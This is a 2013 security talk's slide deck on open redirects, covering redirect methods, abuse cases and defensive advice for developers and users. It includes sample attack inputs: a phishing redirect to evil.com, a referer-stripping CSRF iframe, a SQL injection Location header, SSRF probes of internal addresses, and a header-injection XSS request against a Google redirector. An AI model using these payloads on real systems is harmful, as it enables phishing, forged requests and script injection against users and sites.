Security and Open Redirects


Impact of 301-ing people in 2013


What's this deck about?

  1. Quick recap of Open Redirects
  2. Potential security impact on certain cases
  3. Take away minutes for both devs and users

oh not again...

Is it really necessary?

YES!


  • Open Redirs are everywhere
  • Open Redirs are usually neglected (for a good reason)
  • Not even OWASP takes them seriously
  • Truth is, they CAN become an issue
  • Their impact on complex apps is not easy to grasp

A world of subtleties


  • Different redirection techniques
  • Browsers do not behave consistently
  • Different contexts produce different results
  • Frequently chained with other vulnerabilities
Since providing arbitrary redirections may be considered the very purpose of certain applications (such as URL shorteners), Open Redirections are usually only discussed in the context of security and as potential targets for abuse.

So let's learn...

...why and when to take them into account

  1. Quick recap of Open Redirects

A quick recap

Open Redirects: Any functionality on a web application that can be used to redirect users to arbitrary resources

Accomplished by means of...

  • HTTP 30x status codes : purest form
  • Refresh meta tag / header : slower and sometimes (un)safer
  • JavaScript : location API mostly
  • onclick redirects : interstitials, content proxies...
  • other weird methods : WML <go> tag (Opera)

HTTP 30x Status codes

301 Moved Permanently
302 Found
303 See other

  • Generate new request for the URL in Location: header
  • POST verb is replaced by GET and request body removed
  • location.hash is forwarded even cross-domain

307 Temporary redirect (HTTP 1.1 only)

  • Like 302 but POST is not downgraded to GET
  • Rarely seen

Refresh meta tag / header

<meta http-equiv="refresh"
content="0;URL=scheme://authority/">

Refresh: 0;url=scheme://authority


  • Usually used for deferred redirections (Interstitials)
  • No Referer is sent
  • URLs with semicolons may cause problems and cannot be escaped reliably

JavaScript redirects

location = ... ;
location.replace(...);
location.assign(...);
location.href = ... ;
document.URL = ... ;
...

  • Most browsers populate Referer header
  • IE 9 also does, but IE <=8 does not (link.click() workaround)

Open redirects habitat

  • login/logout pages (?next= ?path= ?goto= ?returnto=...)
  • SSO and Authorization frameworks (SAML, OAuth2...)
  • Identity providers
  • Filewrappers and content proxies
  • Clicktrackers, Interstitial warnings
  • Post/Redirect/Get design patterns
  1. Quick recap of Open Redirects

  2. Potential security impact on certain cases

Malicious usage

  1. Abusing domain reputation (phishing, spam...)
  2. Referer stripping / riding
  3. Bypassing link whitelists
  4. Server-side Request Forgery
  5. XSS
  6. Information Leakage
  7. Character injection

1- Abusing domain reputation


Do you screen your links before clicking on them?
  • The status bar helps but we are too used to URL shorteners
  • t.co, bit.ly, fb.me... we basically gave up on knowing beforehand where we are being taken to
When there is no shortener, we no longer expect a redir
Seeing https://www.paypal.com... looks actually safe

... when in fact we don't know ...

https://www.paypal.com/de/cgi-bin/?
id=xjkfdsKJHSUOSKFjauhhsdhkfd8793004
jkhfdsJHfds98fdskjJxxjkFjksdf&cmd=_ba
ck-to-portal&portal_url=https://evil.com

Also status bar is not always available!

Things get worse on social sites

  • Small previews of external links are attempted
  • Link is prefetched and decorated with title, favicon, thumb, text excerpt...
  • Link is wrapped:
    • Twitter  t.co
    • Facebook  l.php
    • LinkedIn  /share?viewlink
  • Classic TOCTOU problem vs. Server-side Request Forgery


(more on this later...)

@randomdross

actually wrote a great paper on this topic

Plus, even without open redirs...

JavaScript can change the URL of newly opened windows at any time

  1. Link on makensi.es points to apple.com and opens on new window
  2. User clicks, new window opens, apple.com loads
  3. At any time, even after user navigates further down apple.com, makensi.es window may change the URL from apple.com to evil.com

@lcamtuf

did a nifty demo of this

So yeah, you cannot trust links
whatsoever, not for a single authority

How to be safe:

  1. ALWAYS check your browser address bar
  2. That's about it
The problem is that the current contents of the address bar are about the only security indicator you have in the browser.[...] If you make security decisions based on onmouseover tooltips, link text or anything along these lines, and do not examine the address bar of the site you are ultimately interacting with, there is very little any particular web application can do to save you" -- Michal Zalewski

2- Referer stripping / riding

  • School taught us Referer is not reliable
  • Still, many people rely on referer checks against hotlinking and for access control
  • Also referer checking = lazy man's anti-CSRF
  • Works better than most of us would dare to admit

But...

  • Referer checking is whitelist based
  • IE <=8 sometimes decides not to send any referer at all

    <input type="button" value="edit" onclick="location.href='editprofile.php';">

  • Because of this, empty referer must be whitelisted too so things don't break

anti-CSRF referer check bypass

a) If empty referer is whitelisted

  • Check is useless
  • HTTPS to HTTP will strip referer
  • Refresh based redirect does too
  • Request originated from about:blank context
    <iframe src='data:text/html,<form method=post action="PATH"></form><script>document.forms[0].submit()</script>'></iframe>

    will also not send Referer

Referer riding

b) If empty referer is blacklisted

  • JavaScript based Open Redirects under whitelisted domain will help

    <script language="JavaScript" type="text/JavaScript"> window.location.href="<GET based CSRF>"; </script>

3- Bypassing link whitelists

  • Some functionalities accept URLs as input
    • Return URLs for SSO, authorization frameworks...
    • URL validators
    • Forum message tags, Social site cards on profiles...
  • These check that scheme://authority belongs to a whitelist
  • They rarely check path, query or fragment https://accounts.google.com/ServiceLogin?
    service=mail&passive=true&rm=false
    &continue=https://mail.google.com/mail/

Sometimes URLs are signed

http://www.linkedin.com/redirect?url=http%3A
%2F%2Fmakensi%2Ees&urlhash=d9Lj&_t=NUS_UNIU_SHARE-
lnk&trk=NUS_UNIU_SHARE-lnk

http://t.co/gf5vIjkt9

https://www.facebook.com/l.php?
u=http%3A%2F%2Fmakensi%2Ees&h=OAQeRjssD

URL signing

  • Redirection script only checks signature
  • Prevents URL tampering after validation was done
  • Signatures can be blacklisted when malware/worms appear
  • Also whitelist-based redirections

Whitelist-based redirections

http://domainA/?redir_url=http://domainB/&signature=XXX

  • Only domainB URLs are accepted
  • Path, query or fragment rarely checked
  • Wrong signature = no redirection / trust

Whitelist-based redirections bypass

  • Just find any Open Redir on domainB (or sometimes xxxx.domainB)
    http://domainA/?redirection_url=http%3a%2f%2fdomainB%2fredir%2ephp%3fu%3D
    http%253A%252F%252Fmakensi%252Ees%2f&signature=XXX

  • For 30x redirects you are effectively signing any URL

...or you just find how to sign arbitrary URLs as @thedanmelamed did on Facebook

What if URL path is also checked against whitelist?

Search for hashbang features:
http://domain.com/#!/path/redir
redirects to...
http://domain.com/path/redir


@Nirgoldshlager pwned Facebook doing this

How about fixing this by following redirects during URL validation?

Server-side Request Forgery happens :(

4- Server-side Request Forgery

If validator follows redirects you could be in trouble:

HTTP/1.1 301 Moved Permanently
Date: Mon, 11 Feb 2013 22:42:17 GMT
Location: http://target.com/viewuser.php?name='; DROP TABLE users; --


Also if responses differ for valid/invalid URLs you may be leaking intranet info:

  • http://app/?url=http://127.0.0.1:22
  • http://app/?url=http://10.x.x.x:80

Surprisingly SSRF is very common and rarely monitored
Consider it the nmap -sI of WWW

Preventing SSRF while following redirects

  1. Reject off-site redirects to non-whitelisted domains
  2. Permit only /https?:\/\// schemes
  3. Reject non-standard ports in authority part of URLs


...and always monitor all server-side requests

5- XSS

  • Yeah, Open Redirects can lead to XSS through JavaScript: and data: URLs.
  • Only for redirects made through Refresh header or meta tag
  • Not all browsers are exposed

How common is this?

Not much, but you sometimes get lucky

6- Information leakage

  • It's 2013 but people keep putting sensitive info on URLs
    • Email addresses
    • Per-account static anti-CSRF tokens
    • Authentication tokens & nonces
  • Capability-bearing URLs and Open Redirects do not get along well

Leaking sensitive URLs: quick reminders

  • URL fragment is not included on referers
  • But URL fragment is forwarded cross-domain on 30x redirects
  • HTTPS only strips referer when downgrading to HTTP
  • For HTTPS->HTTPS all browsers do send referer cross-domain (except Opera)

Encryption != Trustworthiness

Examples of real world scenarios

a) SSO deeplinking: user sessions tend to expire so a redirection param is carried along during re-authentication process

  1. https://authserver/SSO_login?return=PATH
  2. Sensitive URL is created
    1. Location: https://destapp/login?auth=SECRET&return=PATH
    2. Location: https://destapp/PATH?auth=SECRET

  • Depending on the particular implementation, SECRET may be leaked
  • The type of redir matters here. Initiation context too.
  • Or maybe we can just put external <img> in PATH

b) OAuth2: Authorization framework usually badly implemented. @homakov and @isciurus pwned it several times chaining Open Redirs with other flaws. Open redirections lie at the heart of their PoCs.

  • Non-static redirection URLs
  • Sensitive fragments forwarded to arbitrary domains
  • Hashbang features

7- Character injection

  • First thing you should check on 30x Open Redirs
  • Surprisingly still appears during audits
  • You need to go beyond simple %0D%0A tests
    • %08 (backspace)
    • %3F (?)
    • %23 (#)
    • ;

These may cause unexpected behaviours or even Header Injection

To illustrate: Google left unattended some internal redirection server

GET http://goto.ext.google.com/%08%0a%0d%0a
%0a%3cscript%3eprompt(document.domain)%3c%2fscript%3e

HTTP/1.1 301 Moved Permanently
Date: Mon, 11 Feb 2013 22:42:17 GMT
Content-Type: text/html
Server: Google Frontend
Content-Length: 41

<script>prompt(document.domain)</script>

%08 deletes Location header so body injection kicks in

  1. Quick recap of Open Redirects
  2. Potential security impact on certain cases

  3. Take away minutes for both devs and users

Things to take home

When to care about Open Redirections?

Application developer/owner

Care if...

  1. You are putting sensitive info on URLs (even on fragment)
  2. You are checking referers against a whitelist
  3. You are checking schemes+authorities against a whitelist
  4. You fully resolve redirections server-side from input URLs
  5. You do refresh based redirects without checking URL schemes


(Maybe you shouldn't be doing most of these anyway)

End user

Don't worry, just carry on clicking on links, BUT...

  1. Don't trust the status bar
  2. Assume you can't know where you are being taken to
  3. Click bookmarked links rather than email links
  4. Do not browse in full screen mode
  5. Always, always, ALWAYS check the address bar

Me
@olemoudi
http://makensi.es

References

Fin